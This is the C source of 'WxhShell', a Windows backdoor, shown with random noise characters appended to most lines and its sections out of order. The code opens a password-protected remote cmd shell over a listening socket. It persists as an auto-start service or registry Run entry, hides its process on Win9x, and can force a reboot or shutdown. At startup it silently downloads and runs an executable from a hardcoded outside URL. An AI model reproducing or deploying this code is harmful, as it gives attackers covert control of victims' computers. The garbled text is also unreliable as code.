    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @(I)]Ca%O  
    if(Boot(SHUTDOWN)) r]yI5 ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YH-+s   
    else { FTT=h0t  
    closesocket(wsh); Y1s3 >`  
    ExitThread(0); jQRl-[n  
    } NoD\t(@h  
    break; ;{S7bH'6m  
    } m[E#$JZtG  
  // 获取shell y_A7CG"^  
  case 's': { w829 8Kl  
    CmdShell(wsh); ^/_1y[j  
    closesocket(wsh); .In8!hjYy4  
    ExitThread(0); <h[l)-86  
    break; u(bPdf@kz  
  } 5l,Q=V^@l  
  // 退出 yE>f.|(  
  case 'x': { +8eW/Bs@2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l.AG^b  
    CloseIt(wsh); i48Tb7Rx~n  
    break; ~ s# !\Ye  
    } le.(KgRS4  
  // 离开 bc ;(2D  
  case 'q': { >^(Q4eU7!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3E`poE  
    closesocket(wsh); |C_sP,W  
    WSACleanup(); BzyzOtBp3L  
    exit(1); VSQxlAGk@  
    break; /'WVRa  
        } &XH{,fv$  
  } S)~Riuy$  
  } l! 9G  
]xf|xs  
  // 提示信息 ,.PW qfb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .BqS E   
} &Dw8GU}1  
  } ?~fuMy B  
hY^-kdQ>M  
  return; {nyVC%@Y  
} /m+q!yi &  
eq(Xzh  
// shell模块句柄 =h/0k y  
int CmdShell(SOCKET sock) u>I;Cir4  
{ @o6^"  
STARTUPINFO si; 53jtwklA  
ZeroMemory(&si,sizeof(si)); o;<oXv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MF%>avRj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wD'LX  
PROCESS_INFORMATION ProcessInfo; SYZS@o  
char cmdline[]="cmd"; -f!oq7U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +ziQ]r2g  
  return 0; {8a s _  
} kTe0"  
;.wWw" )  
// 自身启动模式 km+}./@  
int StartFromService(void) Ls~F4ar$/  
{ EPMdR66  
typedef struct oN/T>&d  
{ 8E9W\@\  
  DWORD ExitStatus; +""8aA  
  DWORD PebBaseAddress; @vcvte  
  DWORD AffinityMask; Mk"V%)1k  
  DWORD BasePriority; 2~BId&]  
  ULONG UniqueProcessId; 3cztMi  
  ULONG InheritedFromUniqueProcessId; ?]bZ6|;2  
}   PROCESS_BASIC_INFORMATION; I%q&4L7pj  
d,0Yi u.p  
PROCNTQSIP NtQueryInformationProcess; r\sQ8/  
k2S6 SB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MX.=k>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !Qd4Y=  
E*_lT`Hzf  
  HANDLE             hProcess; V$7SVq  
  PROCESS_BASIC_INFORMATION pbi; TtaVvaz~>  
)^o7%KX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QX$i ]y%S  
  if(NULL == hInst ) return 0; pdQ6/vh  
.sk$@Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DMY?'Nts!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "jyh.@<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 38hAg uZX  
Im\{b=vT  
  if (!NtQueryInformationProcess) return 0; MxXu&.| _  
,:!dqonn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y=#g_(4*  
  if(!hProcess) return 0; 4LBMhLy  
oU.LYz_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Lf:TQB  
k^IC"p Uc  
  CloseHandle(hProcess); Jm+hDZrW  
,&\uuD&.@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6jRUkI-!  
if(hProcess==NULL) return 0; 1x^(vn#=  
-$]Tn#`Fb  
HMODULE hMod; ?r,lgaw  
char procName[255]; u}7#3JfLn  
unsigned long cbNeeded; )D:I@`*  
N}*|*!6hI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n0T'"i[  
W]UGo,  
  CloseHandle(hProcess); 6J|Y+Y$  
@ qfVt  
if(strstr(procName,"services")) return 1; // 以服务启动 v_gQCS  
1o;+.]B  
  return 0; // 注册表启动 5$e|@/(0  
} s C9j73 vf  
.cQ<F4)!tu  
// 主模块 [Pu~kiN  
int StartWxhshell(LPSTR lpCmdLine) ">G|\_ZF  
{ q,JMmhWaT  
  SOCKET wsl; L.[ H   
BOOL val=TRUE; Z5uetS^  
  int port=0; kphv)a4z=  
  struct sockaddr_in door; 76\ir<1up  
xsx @aF  
  if(wscfg.ws_autoins) Install(); z~/z>_y$nv  
 pv=g)  
port=atoi(lpCmdLine); ;^Vsd\ac0  
K>h=  
if(port<=0) port=wscfg.ws_port; n0T\dc~  
u(7PtmV[!  
  WSADATA data; 5_ @8g+~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m q`EM OH  
iR9 $E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4*4s{twG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;R E|9GR  
  door.sin_family = AF_INET; T<|B1jA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >5&'_  
  door.sin_port = htons(port); (I d]'w4  
af61!?K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ey@]B5  
closesocket(wsl); 3%] %c6  
return 1; $/aZ/O)F  
} xq2{0q  
SSKn7`  
  if(listen(wsl,2) == INVALID_SOCKET) { -,Q !:  
closesocket(wsl); W27EU/+3  
return 1; iw\RQ 0  
} ec: ?Q0  
  Wxhshell(wsl); /RuGh8qzP  
  WSACleanup();  iK$)Iy0  
'b#`8k~>  
return 0; ysV0Ed  
O!}TZfC  
} (bxSN@hp2  
L\Uf+d:&}G  
// 以NT服务方式启动 !F*7Mif_E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O+Fu zCWj  
{ gRS}Y8  
DWORD   status = 0; i2SR.{&  
  DWORD   specificError = 0xfffffff; ,F7W_f# @3  
bb# F2r4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hHsCr@i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Mt'y8|}$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ugEh}3  
  serviceStatus.dwWin32ExitCode     = 0; wuCiO;w  
  serviceStatus.dwServiceSpecificExitCode = 0; <FIc!  
  serviceStatus.dwCheckPoint       = 0; ZR<T\w  
  serviceStatus.dwWaitHint       = 0; $DZ\61  
2r2qZ#I}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 05mjV6j7m  
  if (hServiceStatusHandle==0) return; %O`e!p  
#Jv|zf5Z  
status = GetLastError(); 6fhH)]0  
  if (status!=NO_ERROR) 0Zp) DM  
{ Y]aVa2!Wb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~6z<tyD^  
    serviceStatus.dwCheckPoint       = 0; {OP[Rrm  
    serviceStatus.dwWaitHint       = 0; sas}k7m"  
    serviceStatus.dwWin32ExitCode     = status; 7*8R:X+^r  
    serviceStatus.dwServiceSpecificExitCode = specificError; m$ZPQ0X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @U CGsw  
    return; gwDQ@  
  } TT3GFP  
\kU0D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =m.Lw  
  serviceStatus.dwCheckPoint       = 0; >M{=qs  
  serviceStatus.dwWaitHint       = 0; NGIbUH1[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0Ym+10g  
} fr$E'+l)  
}{Ab:+aNd  
// 处理NT服务事件,比如:启动、停止 #Hl0>"k ,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =&RpW7]  
{ DT`TA#O  
switch(fdwControl) 5qzFH,  
{ f 4CS  
case SERVICE_CONTROL_STOP: 1'or[Os3=  
  serviceStatus.dwWin32ExitCode = 0; {.=089`{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #~l(t_m{  
  serviceStatus.dwCheckPoint   = 0; 8"L#5MO t  
  serviceStatus.dwWaitHint     = 0; 4}@J]_]Z  
  { w Q /IT}-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &~ of]A  
  } O4w6\y3U  
  return; ?AC flU_k  
case SERVICE_CONTROL_PAUSE: Umx~!YL!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hh/C{ l  
  break; kH'LG!O  
case SERVICE_CONTROL_CONTINUE: I8;xuutc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b(JQ>,hX  
  break; pvdM3+6  
case SERVICE_CONTROL_INTERROGATE: !"~x.LX \  
  break; (jbHV.]P9  
}; oc+TsVt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v?e@`;- <  
} F?#^wm5TZ  
6-8,qk  
// 标准应用程序主函数 K.s\xA5`_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qdkhfm2(K  
{ Bw _^"e8X  
'B dZN  
// 获取操作系统版本 &[u%ZL  
OsIsNt=GetOsVer(); 77D>;90>?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jFbj)!;  
h3 -y}.VjG  
  // 从命令行安装 Bx9R!u5D  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ws%@SK  
:.8@ xVH  
  // 下载执行文件 Dv~W!T i  
if(wscfg.ws_downexe) { 0LEJnl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 84g$V}mp  
  WinExec(wscfg.ws_filenam,SW_HIDE); \)KLm  
} RCM;k;@8V  
1vKAJ<4W  
if(!OsIsNt) { FXMrD,qVg  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qh*"B  
HideProc(); En01LrC?  
StartWxhshell(lpCmdLine); {m%]`0  
} f793yCiG  
else 7A6Qrfw  
  if(StartFromService()) (QS4<J"  
  // 以服务方式启动 8t)5b.PS  
  StartServiceCtrlDispatcher(DispatchTable); wq K:=  
else L=g(w$H  
  // 普通方式启动 W:5uoO]=<  
  StartWxhshell(lpCmdLine); HRQ3v`P.  
G8bc\]  
return 0; {}gx;v)  
} 'W'['TV  
9)P-<  
:wWPEhK  
u={A4A#  
=========================================== =CBY_  
MZJ@qIg[Y  
v_U+wga  
i2bkgyzB.  
Xy(8}  
?2d! ^!9  
" Z`jc*jgy  
$2!|e,x  
#include <stdio.h> vs=8x\W  
#include <string.h> *vFXe_.  
#include <windows.h> s=KK)6T  
#include <winsock2.h> O4`am:@  
#include <winsvc.h> 3m;*gOLk6  
#include <urlmon.h> ?7;_3+T#  
.VD:FFkW  
#pragma comment (lib, "Ws2_32.lib") 9):h %o  
#pragma comment (lib, "urlmon.lib") oU|yBs1  
:8( "n1^  
#define MAX_USER   100 // 最大客户端连接数 `^d[$IbDW  
#define BUF_SOCK   200 // sock buffer hCpX# rg?  
#define KEY_BUFF   255 // 输入 buffer nDG41)|  
{ $ a $m  
#define REBOOT     0   // 重启 d2\#Zlu<  
#define SHUTDOWN   1   // 关机 oGIh:n7 q+  
Nqy)jfyex  
#define DEF_PORT   5000 // 监听端口 le7!:4/8  
!+R_Z#gB  
#define REG_LEN     16   // 注册表键长度 r<)>k.] !  
#define SVC_LEN     80   // NT服务名长度 b=87k  
9nGS"E l{  
// 从dll定义API PiL[&_8g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hl|EySno  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -F->l5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cc0e(\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v35!? 5{  
gdj,e ^  
// wxhshell配置信息  b79z<D  
struct WSCFG { g$?kL  
  int ws_port;         // 监听端口 wC&+nS1  
  char ws_passstr[REG_LEN]; // 口令 v % c-El%  
  int ws_autoins;       // 安装标记, 1=yes 0=no vV$6fvS  
  char ws_regname[REG_LEN]; // 注册表键名 $!LL  
  char ws_svcname[REG_LEN]; // 服务名 Uo]x6j<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dj}y6V&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "|,;~k1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,$oz1,Q/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .\rJ|HpZ1J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1yK=Yf%B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !C6[m1F  
^X\{MW'>4  
}; 1b` `y  
d,V]j-  
// default Wxhshell configuration RCC~#bb  
struct WSCFG wscfg={DEF_PORT, bnZ`Wc*5b  
    "xuhuanlingzhe", b<E0|VW  
    1, 9JtPP  
    "Wxhshell", (~U1 X4  
    "Wxhshell", ^`*p;&(K\^  
            "WxhShell Service", 'Dx_n7&=  
    "Wrsky Windows CmdShell Service", TGuvyY  
    "Please Input Your Password: ", FfSKE  
  1, L"x9O'U  
  "http://www.wrsky.com/wxhshell.exe", b0:5i<"w6  
  "Wxhshell.exe" {Gi:W/jJ  
    }; E|9'{3$  
w8KVs\/  
// 消息定义模块 nW"ml$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sry`EkS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Om,M8!E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5^0K5R6GQf  
char *msg_ws_ext="\n\rExit."; #J w\pOn  
char *msg_ws_end="\n\rQuit."; #Zq[.9!q{  
char *msg_ws_boot="\n\rReboot...";  \X]  
char *msg_ws_poff="\n\rShutdown..."; yv+DM`0  
char *msg_ws_down="\n\rSave to "; o|njgmF;\  
|+h8g@;Z  
char *msg_ws_err="\n\rErr!"; _ry7 [/)  
char *msg_ws_ok="\n\rOK!"; &60#y4  
.>^iU}  
char ExeFile[MAX_PATH]; cERmCe|/CG  
int nUser = 0; tj< 0q<is  
HANDLE handles[MAX_USER]; p+.{"%  
int OsIsNt; 6>e YG <y{  
\!J9|  
SERVICE_STATUS       serviceStatus; ] RLEyDB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _[p@V_my  
69C>oX  
// 函数声明 -Izc-W  
int Install(void); Xhk_h2F[  
int Uninstall(void); nNP{>\x;"  
int DownloadFile(char *sURL, SOCKET wsh); k<.VR"I p  
int Boot(int flag); @'lO~i  
void HideProc(void); no UXRQ  
int GetOsVer(void); 8 aC]" C  
int Wxhshell(SOCKET wsl); qJ5gdID1_  
void TalkWithClient(void *cs); *<IQ+oat,a  
int CmdShell(SOCKET sock); U66}nN9  
int StartFromService(void); Y)KO*40c  
int StartWxhshell(LPSTR lpCmdLine); R1/87eB  
> Du>vlT Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'i7!"Y6>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \!Fx,#r$7-  
u EE#A0  
// 数据结构和表定义 yq,% ey8  
SERVICE_TABLE_ENTRY DispatchTable[] = )u}MyFl.  
{ !vwx0  
{wscfg.ws_svcname, NTServiceMain}, d_!l RQ^N  
{NULL, NULL} 5;yVA  
}; Y:3\z?oV[  
FZJyqqA$_  
// 自我安装 38HnW  
int Install(void) ANWUo}j  
{ y|O)i I/g  
  char svExeFile[MAX_PATH]; P;~P:qKd  
  HKEY key; Ag@R60#  
  strcpy(svExeFile,ExeFile); d\ {a&\v  
*s}j:fJ  
// 如果是win9x系统,修改注册表设为自启动 r<XlIi  
if(!OsIsNt) { I]B[H6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lk. ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }rbsarG@  
  RegCloseKey(key); [R9!Tz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EC0M0qQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u4,b%h.  
  RegCloseKey(key); \[5mBuk  
  return 0; WC ZDS>  
    } (g 9G!I   
  } DUOSL  
} Z+J;nl  
else { ?&>H^}gDZ  
}y P98N5o  
// 如果是NT以上系统,安装为系统服务 /{7we$+,p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ja|XFs~  
if (schSCManager!=0) "RG #e +  
{ u9~RD  
  SC_HANDLE schService = CreateService j6.'7f5M<H  
  ( PdNxuy  
  schSCManager, $v*0 \O  
  wscfg.ws_svcname, YTo^Q&  
  wscfg.ws_svcdisp, ; rJ  
  SERVICE_ALL_ACCESS, 9X[}ik0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y+ ZCuX  
  SERVICE_AUTO_START, q=|0lZ$`V_  
  SERVICE_ERROR_NORMAL, R404\XGL  
  svExeFile, ;th]/ G  
  NULL, !YJ^BI    
  NULL, /qalj\ud  
  NULL, nM,5KHU4a  
  NULL, [AHZOA   
  NULL i <%  
  ); I-`qo7dQ_S  
  if (schService!=0) W=)wiRQm  
  { eODprFkt}  
  CloseServiceHandle(schService); ^68BxYUoD\  
  CloseServiceHandle(schSCManager); c?1 :='MC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fpK`  
  strcat(svExeFile,wscfg.ws_svcname); =P"Sm r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z" !+p{u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 68v59)0U  
  RegCloseKey(key); c6NCy s  
  return 0; J@I-tS  
    } mK2M1r  
  } w}jH,Ew  
  CloseServiceHandle(schSCManager); H%\\-Z$#  
} D@yuldx'/  
} 8*V8B=q}K  
uVBMI.&w  
return 1; l8_TeO  
} ^"Nsb&  
1q[vNP=g&  
// 自我卸载 +^6v%z  
int Uninstall(void) :i24 @V~){  
{ Mi5"XQ>/  
  HKEY key; !Ci\Zg  
[!v| M  
if(!OsIsNt) { cLD-,v;c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i%R2#F7I  
  RegDeleteValue(key,wscfg.ws_regname); :8<\]}J  
  RegCloseKey(key); U.@j !UrZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yfD)|lK  
  RegDeleteValue(key,wscfg.ws_regname); G2x5%`   
  RegCloseKey(key); 6c/Tm0[  
  return 0; A -dL_3  
  } H#joc0?P  
} FS vtiNW<  
} Jc#()4  
else { Cl+TjmOV\`  
#VwA?$4g`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?+bDFM}  
if (schSCManager!=0) [-bT_X  
{ vKX $Nf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wPl!}HNf  
  if (schService!=0) o5N];Nj  
  { 8;YN`S!o  
  if(DeleteService(schService)!=0) { vkXdKL(q  
  CloseServiceHandle(schService); Va1 eG]jQ  
  CloseServiceHandle(schSCManager); L/.$0@$bv  
  return 0; mmVx',k  
  } z <"7vR  
  CloseServiceHandle(schService); h4GR:`  
  } Bkn- OG  
  CloseServiceHandle(schSCManager); S>]Jc$  
} cXJtNW@  
} "DFj4XKXY9  
tN5brf  
return 1; Rp2~d  
} ve #cz2Z  
oJk$ +v6  
// 从指定url下载文件 Ge|& H]W  
int DownloadFile(char *sURL, SOCKET wsh) 1{ -W?n  
{ !@_( W   
  HRESULT hr; !8|]R  
char seps[]= "/"; up~l4]b+  
char *token; vYD>m~Qc^  
char *file; {9<2{$Og  
char myURL[MAX_PATH]; l.i"Z pik  
char myFILE[MAX_PATH];  ,T{(t@  
 pPm9v_G  
strcpy(myURL,sURL); #_+T@|r  
  token=strtok(myURL,seps); s q_N!  
  while(token!=NULL) 27vLI~  
  { 3mIX9&/  
    file=token; sg(L`P  
  token=strtok(NULL,seps); #lax0IYY=  
  } #zcp!WE.OI  
<%JRZYZ  
GetCurrentDirectory(MAX_PATH,myFILE); ]]s_ 8u 3  
strcat(myFILE, "\\"); sX3Vr&r  
strcat(myFILE, file); xw5E!]~D  
  send(wsh,myFILE,strlen(myFILE),0); F6T@YSP  
send(wsh,"...",3,0); bp6 La`+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lHpo/ R :  
  if(hr==S_OK) [)`9euR%  
return 0; *|x2"?d-F:  
else -#b-@sD  
return 1; icF -`m  
_c|>m4+X  
} 7cn"@h rJ  
;<#fZ0(l;  
// 系统电源模块 hGH{Xp[mW  
int Boot(int flag)  ]D7z&h  
{ B{W2D  
  HANDLE hToken; oOuhbFu  
  TOKEN_PRIVILEGES tkp; HnVUG4yZTD  
EjB<`yT  
  if(OsIsNt) { n%Xw6qV:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =VlO53Hy{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /|y3M/;F  
    tkp.PrivilegeCount = 1; }[PbA4l.g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *?gn@4Ly  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "w`f>]YLA  
if(flag==REBOOT) { Dd*T5A?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HPAg1bV:-  
  return 0; -9{}rE  
} y^zVb\"4  
else { R,A|"Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p]:~z|.Ba  
  return 0; g~%=[1  
} ~?aq=T  
  } M~7?m/Wj  
  else { 3Fh<%<=  
if(flag==REBOOT) { :*1Gs,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qJW>Y}  
  return 0; DRi!WWivn  
} muo7KUT  
else { 1uv"5`%s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5JI+42S \  
  return 0; BoP%f '0N  
} SV]M]CAe  
} _3T*[s;H  
LaJc;Jt$  
return 1; G`w,$:,  
} -nO('(t  
KbH#g>.oB  
// win9x进程隐藏模块 [kFX>G4  
void HideProc(void) ~sAINV>A  
{ &P!^k0NJR  
]xf{.z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oCSf$g8q  
  if ( hKernel != NULL ) G4s!q1H  
  { YjS|Ht->  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J mFzSR?}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YFLWkdqAY  
    FreeLibrary(hKernel);  iTbmD  
  } gSu+]N  
.gT@_.ZD9  
return; 8&ZUkDGkJ  
} R]/F{Xs  
*ARro Ndr  
// 获取操作系统版本 Q%QpG)E  
int GetOsVer(void) 4cJ7.Pez  
{ y~1UU3k5  
  OSVERSIONINFO winfo; Ft`#]=IS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /D8cJgH-  
  GetVersionEx(&winfo); jzEimKDE's  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <g,k[  
  return 1; O(/K@e  
  else 2Pi}<pG~  
  return 0; 5jy>)WqK  
} MH"c=mL:  
I|9e4EX{y  
// 客户端句柄模块 43:~kCF[s  
int Wxhshell(SOCKET wsl) sj. eJX"z  
{ ,i*^fpF`F"  
  SOCKET wsh; 0,m*W?^31  
  struct sockaddr_in client; :!tQqy2  
  DWORD myID; HK&F'\'}  
=q[3/'2V$?  
  while(nUser<MAX_USER) wC=IN   
{ K N0S$nW+  
  int nSize=sizeof(client); -mX _I{BJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )l30~5u<J  
  if(wsh==INVALID_SOCKET) return 1; =q5A@!D  
 G!O D7:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w ^`n  
if(handles[nUser]==0) |}q0 G~l  
  closesocket(wsh); d-N<VVcy\  
else ])~*)I~Y  
  nUser++; 3QUe:8  
  } D9H|]W~   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P). @o.xl  
)CdglPK  
  return 0; p$[*GXR4  
} kHz3_B9 [  
iyH<!>a  
// 关闭 socket 4)'5;|pI  
void CloseIt(SOCKET wsh) sd8o&6  
{ (: ZOoL  
closesocket(wsh); Q:-H U bB  
nUser--; "t"dz'  
ExitThread(0); Uk;SY[mU  
} sur2Mw(M"  
rM bb%d:  
// 客户端请求句柄 |[o2S90  
void TalkWithClient(void *cs) r*+9<8-ZX<  
{ &% M^:WT  
&g) `  
  SOCKET wsh=(SOCKET)cs; Ju+@ROZ  
  char pwd[SVC_LEN]; yg\A&0I  
  char cmd[KEY_BUFF]; 8% 1hfj  
char chr[1]; zG& N5t96X  
int i,j; KM0#M'dXy  
h.2!d0j]  
  while (nUser < MAX_USER) { #llc5i;  
fEQ<L!'  
if(wscfg.ws_passstr) { !0Q(x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k92X)/ll'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C(,s_Ks  
  //ZeroMemory(pwd,KEY_BUFF); um3 M4>K  
      i=0; o"n^zG  
  while(i<SVC_LEN) { -Qn:6M>w^  
0^[ " &K/  
  // 设置超时 YuPgsJ[m  
  fd_set FdRead; *[yCcqN.  
  struct timeval TimeOut; qKO\;e*  
  FD_ZERO(&FdRead); qU2>V  
  FD_SET(wsh,&FdRead); C 7+TnJ  
  TimeOut.tv_sec=8; k9R1E/;  
  TimeOut.tv_usec=0; 1Tiq2+hmf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &I!2gf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :hJhEQH(9  
]E=JUYf0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oTx#e[8f{  
  pwd=chr[0]; lc5NC;JR  
  if(chr[0]==0xd || chr[0]==0xa) { N(1jm F  
  pwd=0; a-QHm;_S  
  break; o@pM??&x  
  } }#E4t3  
  i++; u5R^++  
    } JHO9d:{-  
2d3wQ)2  
  // 如果是非法用户,关闭 socket SxH}/I|W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,#WXAA mm  
} /pb7  
#Wc)wL-Tg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bJBx~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3`e1:`Hu  
z6{0\#'K  
while(1) { &F.lo9JJ  
7Q[P  
  ZeroMemory(cmd,KEY_BUFF); WMUw5h  
W%h<@@c4,  
      // 自动支持客户端 telnet标准   E-"Jgq\aC  
  j=0; 9MXauTKI  
  while(j<KEY_BUFF) { C)ChF`Ru':  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5/*ZqrJw{"  
  cmd[j]=chr[0]; }%XNB1/`  
  if(chr[0]==0xa || chr[0]==0xd) { CWDo_g $  
  cmd[j]=0; TR%?U/_4;r  
  break; +ZZiZ&y  
  } *i$+i  
  j++; Wq>j;\3b3  
    } mU\$piei  
3IJIeG>  
  // 下载文件 uP* >-s'm  
  if(strstr(cmd,"http://")) { "?S#vUS+ 2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qrOTb9&y  
  if(DownloadFile(cmd,wsh)) pxY5S}@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_,OucKkYG  
  else :YV!;dKJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xHL{3^  
  } km|~DkJ\a`  
  else { NKI&n]EO  
c2F`S1Nu<  
    switch(cmd[0]) { P)}:lTe  
  UHCx}LGe  
  // 帮助 U 9 k}y  
